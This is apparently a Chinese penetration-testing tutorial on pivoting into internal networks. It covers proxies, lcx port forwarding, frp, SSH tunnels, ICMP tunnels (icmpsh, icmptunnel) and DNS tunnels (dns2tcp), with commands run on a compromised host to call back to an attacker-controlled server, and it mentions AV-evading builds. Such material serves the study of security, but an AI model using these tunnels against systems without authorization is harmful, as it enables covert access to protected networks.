在进行渗透测试过程中会遇到到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。
为什么不直接远程登录?
大部分时候拿到权限不够,无法直接登录
而且如果在内网服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组件,会导致渗透受阻。
而且直接远程登录会留下比较明显的痕迹。
因此内网转发是我们最好的选择,在本地进行操作是最方便的,也比较安全。
端口映射
端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机。
内网穿透
利用各种隧道技术,寻找防火墙允许的协议,混杂在正常流量中穿透,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
Socket协议和Socks协议
socket协议
socket 被翻译为“套接字”,是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。
Socks协议
Socks 是一种会话层代理协议,设计的最初目的是帮助授权用户突破防火墙的限制,获取普通用户不能访问的外部资源。考虑到几乎所有基于 TCP/IP 的应用软件都使用 socket 进行数据通信,为了便于应用软件的设计和开发,该协议针对 socket 中几种经典操作进行了针对设计,并将其定名为 Socks广泛使用的协议版本是 Socks4 和 Socks5
协议过程
- 客户端连接上代理服务器之后需要发送请求告知服务器目前的socks协议版本以及支持的认证方式。
- 代理服务器收到请求后根据其设定的认证方式返回给客户端
- 如果代理服务器不需要认证,客户端将直接向代理服务器发起真实请求
- 代理服务器收到该请求之后连接客户端请求的目标服务器
- 代理服务器开始转发客户端与目标服务器之间的流量
代理
正向代理
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端,正向代理类似一个跳板机(VPN)。
主要用途:
- 访问到原来访问不到的资源
- 可以做缓存,加速访问资源
- 代理可以对外隐藏用户信息
反向代理
反向代理指的是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。
作用:
- 保证内网安全,防止Web攻击,大型网站,通常将反向代理作为公网访问地址,Web服务器是内网。
- 实现负载均衡,优化网站的负载
访问路径:
Lhost<-->proxy<-->firewall<-->Rhost
内网代理转发的方式
NC连接
在渗透小tips(一)中有写。
LCK端口转发
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap。
内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2
lcx.exe –listen 4444 5555
意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。
打开windows远程连接,如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
本地端口转发
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53。
此软件会被杀,需要免杀版本。
frp内网穿透
工具地址: https://github.com/fatedier/frp
frp的作用:
利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
配置一下服务端和客户端。
SSH隧道代理
SSH隧道代理或SSH端口转发是一种在客户端和服务器之间创建加密SSH连接的方法,通过SSH隧道连接可以中继服务端口。
SSH转发对于传输未使用加密协议的服务(例如VNC或FTP),访问受地理限制的内容或绕过中间防火墙的网络数据很有用。基本上,您可以转发任何TCP端口并通过安全的SSH连接建立隧道。
三种类型的SSH端口转发:
- 本地端口转发。 -连接从客户端主机转发到SSH服务器主机,然后转发到目标主机端口。
- 远程端口转发。 -将端口从服务器主机转发到客户端主机,然后转发到目标主机端口。
- 动态端口转发。 -创建SOCKS代理服务器,该服务器允许跨多个端口进行通信。
ssh本地端口转发命令为:
ssh -L <local port>:<remote host>:<remote port> <SSH hostname>
从本地的端口发出请求,通过这台机器作为跳板转发请求到的端口。 是相对而言的,比如是127.0.0.1的话,就是本身。 所以一般如果是127.0.0.1的话,跳板机或者代理服务器就是目标服务器。
举个例子:
- A是一台在我家的机器macbook air,它可以访问taobao,也就是服务器C
- B是一台在公司的机器imac,由于在公司的内网,所以在家的A访问不到B
- C是taobao的服务器,公司不让上taobao,所以服务器B访问不了C
现在要想在让B服务器能访问C的80端口,由于防火墙这条路本身是走不通的,但是由于B能访问A,A能访问C,所以能把A作为代理服务器实现这一要求。
在服务器B和服务器A之间建立ssh隧道,在SSH端口转发中,由于服务器B能连接到服务器A,并且请求是从服务器B发出,所以B既是ssh的client,也是请求的客户端 所以此时应该在B上去运行ssh的本地转发命令: ssh -L 8080:HOST_C:80 HOST_A
远程端口转发
要创建远程端口转发,请将-R
选项传递给ssh
客户端:
ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT [USER@]SSH_SERVER
[REMOTE:]REMOTE_PORT
-远程SSH服务器上的IP和端口号。空的REMOTE
IP地址表示远程SSH服务器将在所有接口(有的计算机会有多个网卡)上绑定。DESTINATION:DESTINATION_PORT
-目标计算机的IP或主机名和端口。[USER@]SERVER_IP
-远程SSH用户和服务器IP地址。由于本身B是可以访问A的,但是A访问不到B,现在要想服务器A访问到B,也就是在家能连上公司的机器。- 服务器B能连上A,所以B应该是ssh的client,此时请求是由A发起的,所以A是请求客户端,方向不同,所以是远端转发。 因此在B上运行命令:
ssh -R 2222:127.0.0.1:22 HOST_A
,这里127.0.0.1是因为通过A服务器转发的目的服务器就是A本身。 这样在A上的2222端口就映射到了B的22端口。
动态端口转发
不管是本地转发还是远端转发,都需要一个具体的应用服务器的地址和端口号,要想访问其他机器的内容就得绑定很多条这样的转发命令, 通过动态转发就能省去这一个应用服务器的信息。
ssh -D <local port> <SSH Server>
当我们在一个不安全的 WiFi 环境下上网,用 SSH 动态转发来保护我们的网页浏览等信息无疑是十分必要的。 比如在本机运行: sh -D 7001 <SSH Server>
这样就相当于通过创建了一个SOCKS代理。
ICMP隧道代理
ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)。
icmpsh
被攻击的服务器端运行
icmpsh.exe -t(攻击者IP)
攻击者端运行icmpsh
的控制端
python icmpsh_m.py(攻击者IP)192.168.1.113(被攻击者IP)
icmptunnel
icmptunnel的优势在于可以穿过状态防火墙或NAT
一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。
icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。
攻击者开启icmptunnel服务端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s
然后另开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)。
被攻击者
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 攻击者IP
连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
指定IP为10.0.0.2。
DNS隧道代理
当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,平时难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。
时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是,我们的不出网主机就和恶意DNS服务器交流上了。
具体实现:将TCP/UDP数据包封装到dns的数据包中,绕过防火墙,实现出网。
dns2tcp
安装工具,客户端windows和linux都可以,服务端只有linux。再需要一台vps。
配置DNS2TCP服务端
在vps中,将53端口的出站和入站都打开。将你的某个域名(这里以creke.net为例)开个二级域名a.creke.net,类型为NS,NS记录指向b.creke.net。然后将b.creke.net建立A记录指向你的Linux服务器IP(这里以1.2.3.4为例)。
a.creke.net NS b.creke.net
b.creke.net A 1.2.3.4
在/etc目录建立一个名为dns2tcpd.conf的文件,然后输入以下配置:
listen = 1.2.3.4(Linux服务器的IP)
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
domain = a.creke.net(上面配置NS记录的域名)
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082
客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。
等待a.creke.net的NS记录生效后,才能够继续正常使用客户端。
攻击者执行
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
侦听53端口,启动配置文件里所配置的资源,等待客户端来连接。
被攻击者执行
./dns2tcpc.exe (-d key) -r ssh -z a.creke.net 服务器IP -l 5353 -c -d 2
-d key是可选项,只要看服务端的conf文件是否配置了key
-l 5353 是本地的5353端口,侦听本地5353端口使用ssh资源,如果有数据产生,将通过DNS服务器将数据转发到VPS。
使用ssh连接本地7002端口,也就是连接服务器53端口,然后服务器在转发给22端口。
这里我们也可以结合ssh动态端口转发命令,就可以配置浏览器进行代理上网。
ssh -CfNg -D 8080 root@127.0.0.1 -p 5353
其他问题
代理还是端口转发?
需基于渗透场景去选择,若以边界机器为流量跳板,对内网进行渗透,这时我们需要用到很多渗透工具,若一个个上传渗透工具到边界机器,则太麻烦,顾在这种情况,代理优于端口转发;若只需访问内网某端口,那么代理跟端口转发都可。
正向代理还是反向代理?
需基于渗透场景去选择,若边界机器存在公网IP,那么正反代理都可用,若边界机器不存在公网IP,那么只能用反向代理;若边界机器存在防火墙,则一般会拦截主动访问边界机器的流量,这时需要选择反向代理。总的来说,部分场景下正向代理有限制,反向代理都可实现,反向代理优于正向代理。
代理转发隧道选择?
主要基于两点:一:出网协议;二:出网端口;根据边界机器支持的出网协议和出网端口来选择到底使用什么代理转发隧道,例如果边界机器协议都支持,那么可以可以自由选择,如果边界机器只支持ICMP协议,那么只能选择ICMP协议做代理转发隧道。
判断边界机器出网协议:
1.ICMP: ping www.baidu.com
2.TCP: nc -n IP por3.HTTPcurl IP:port
4.nslookup <域名> <DNS IP> #windwos
dig @<DNS IP> <域名> #linux
隧道都有哪些?
应用层隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道